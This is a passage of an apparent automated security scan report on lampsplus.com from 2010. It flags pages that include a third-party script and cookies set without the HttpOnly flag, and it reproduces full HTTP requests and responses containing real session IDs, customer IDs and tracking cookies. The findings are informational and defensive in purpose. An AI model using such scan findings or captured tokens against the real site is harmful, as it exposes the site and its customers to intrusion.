...[SNIP]...

8.3. http://www.lampsplus.com/products/onsale_view-on-sale-items/category_chandeliers/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/onsale_view-on-sale-items/category_chandeliers/

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /products/onsale_view-on-sale-items/category_chandeliers/ HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.lampsplus.com

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 16:25:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 16:25:55 GMT
Connection: close
Set-Cookie: lastSearchPage=/products/onsale_view-on-sale-items/category_chandeliers/; path=/
Set-Cookie: custid=723580566208101226; domain=.lampsplus.com; path=/
Set-Cookie: productsperpage=60; path=/
Set-Cookie: prevresultscount=14; path=/
Set-Cookie: LPSiteClarity=categoryid=4&categoryname=chandeliers&styleid=0&stylename=; domain=.lampsplus.com; path=/
Set-Cookie: GUID=6dc94985-07e3-4519-9e3b-c1a6782b6ac9; domain=.lampsplus.com; expires=Tue, 18-Dec-2040 08:00:00 GMT; path=/
Content-Length: 99851


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Chandeliers,
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/js/nyromodal/nyroModal.css" />
       <script type="text/javascript" src="http://as00.estara.com/as/InitiateCall2.php?accountid=200106298873"></script>
...[SNIP]...

8.4. http://www.lampsplus.com/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/ HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 200 OK
Content-Length: 82119
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:31:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:31:39 GMT
Connection: close
Set-Cookie: lastSearchPage=/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/; path=/
Set-Cookie: custid=178857560152101226; domain=.lampsplus.com; path=/
Set-Cookie: productsperpage=60; path=/
Set-Cookie: prevresultscount=5; path=/
Set-Cookie: LPSiteClarity=categoryid=55&categoryname=cabinets and storage&styleid=0&stylename=; domain=.lampsplus.com; path=/
Set-Cookie: QureyStringParameters=; path=/
Set-Cookie: lpcoremetricscid=600; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Cabinets And
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/js/nyromodal/nyroModal.css" />
       <script type="text/javascript" src="http://as00.estara.com/as/InitiateCall2.php?accountid=200106298873"></script>
...[SNIP]...

9. Cookie without HttpOnly flag set  previous  next
There are 11 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



9.1. http://www.lampsplus.com/Orders/json/CartQuantitiesJson.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /Orders/json/CartQuantitiesJson.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Orders/json/CartQuantitiesJson.aspx?ms=1293373357012 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False

Response

HTTP/1.1 200 OK
Content-Length: 0
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:23:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:23:01 GMT
Connection: close
Set-Cookie: cid=20101226062301544; domain=.lampsplus.com; path=/
Set-Cookie: ASP.NET_SessionId=off5b045whmeuw45nbnlatzd; domain=.lampsplus.com; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=off5b045whmeuw45nbnlatzd; domain=.lampsplus.com; path=/; HttpOnly


9.2. http://www.lampsplus.com/Portfolio/json/CurrentPortfolioJson.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /Portfolio/json/CurrentPortfolioJson.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Portfolio/json/CurrentPortfolioJson.aspx?ms=1293373356991 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False

Response

HTTP/1.1 200 OK
Content-Length: 332
Content-Type: text/plain; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:23:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:23:01 GMT
Connection: close
Set-Cookie: cid=20101226062301596; domain=.lampsplus.com; path=/
Set-Cookie: ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; domain=.lampsplus.com; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; domain=.lampsplus.com; path=/; HttpOnly
Set-Cookie: portid=00000000-0000-0000-0000-000000000000; domain=.lampsplus.com; path=/


{
"ID":"00000000-0000-0000-0000-000000000000",
"CustomerID":"0",
"Name":"",
"Saved":"False",
"DateModified":"1/1/0001 12:00:00 AM",
"EmployeeNumber":"",
"Custome
...[SNIP]...

9.3. http://www.lampsplus.com/cart/Add-To-Cart.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /cart/Add-To-Cart.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /cart/Add-To-Cart.aspx?qty=1&ms=1293373423693 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:24:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:09 GMT
Connection: close
Set-Cookie: ATC-AddedItems-ShortSKUs=F6506; domain=.lampsplus.com; expires=Sun, 26-Dec-2010 14:24:09 GMT; path=/
Set-Cookie: ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; domain=.lampsplus.com; expires=Sun, 26-Dec-2010 14:24:09 GMT; path=/
Content-Length: 4483


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Add To Cart
...[SNIP]...

9.4. http://www.lampsplus.com/design-it/Pattern-Colorize.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /design-it/Pattern-Colorize.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /design-it/Pattern-Colorize.aspx HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 70729
Content-Type: text/html; charset=us-ascii
Location: /design-it/pattern.aspx
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:32:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:32:48 GMT
Connection: close
Set-Cookie: error=session expired; domain=.lampsplus.com; path=/
Set-Cookie: lpcoremetricscid=105; domain=.lampsplus.com; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fdesign-it%2fpattern.aspx">here</a>.</h2>
</body></html>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transit
...[SNIP]...

9.5. http://www.lampsplus.com/htmls/cart/GetYouMayAlsoLikeItems.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/GetYouMayAlsoLikeItems.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /htmls/cart/GetYouMayAlsoLikeItems.aspx?ShortSKUs=F6506 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=

Response

HTTP/1.1 200 OK
Content-Length: 0
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:24:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:08 GMT
Connection: close
Set-Cookie: ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; path=/


9.6. http://www.lampsplus.com/htmls/cart/add.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/add.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /htmls/cart/add.aspx?catalogprefix=&commaskus=F6506,1&specialdiscountflag=false&ajax=true&ms=1293373422745 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468

Response

HTTP/1.1 200 OK
Content-Length: 19
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:24:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:07 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: custid=178857560152101226; domain=.lampsplus.com; path=/
Set-Cookie: frompage=; path=/

{message:"success"}

9.7. http://www.lampsplus.com/portfolio/default.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /portfolio/default.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /portfolio/default.aspx HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 200 OK
Content-Length: 80093
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:33:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:33:18 GMT
Connection: close
Set-Cookie: MyPortfolioView=standard; domain=.lampsplus.com; path=/
Set-Cookie: lpcoremetricscid=116; domain=.lampsplus.com; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_Head1"><t
...[SNIP]...

9.8. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/Linair-Plasma-TV-Entertainment-Console__F6506.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /products/Linair-Plasma-TV-Entertainment-Console__F6506.html?sourceid=DFBCMEF6506&cm_mmc=BCME-SH-_-Cabinets%20and%20Storage-_-Cabinets%20and%20Storage-_-F6506 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: /products/Linair-Plasma-TV-Entertainment-Console__F6506.html
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:22:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:22:57 GMT
Connection: close
Set-Cookie: QureyStringParameters=sourceid=DFBCMEF6506&cm_mmc=BCME-SH-_-Cabinets%20and%20Storage-_-Cabinets%20and%20Storage-_-F6506; path=/


9.9. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/Linair-Plasma-TV-Entertainment-Console__F6506.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /products/Linair-Plasma-TV-Entertainment-Console__F6506.html HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QureyStringParameters=sourceid=DFBCMEF6506&cm_mmc=BCME-SH-_-Cabinets%20and%20Storage-_-Cabinets%20and%20Storage-_-F6506

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:23:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:23:00 GMT
Connection: close
Set-Cookie: CMCookieFooterVendor=BCME-SH; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterCategory=Cabinets%20and%20Storage; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterPlacement=Cabinets%20and%20Storage; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterItem=F6506; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: GUID=917b51e2-22e5-4314-8874-93fc786f91fe; domain=.lampsplus.com; expires=Tue, 18-Dec-2040 08:00:00 GMT; path=/
Set-Cookie: source=DFBCMEF6506; domain=.lampsplus.com; expires=Fri, 24-Jun-2011 13:22:58 GMT; path=/
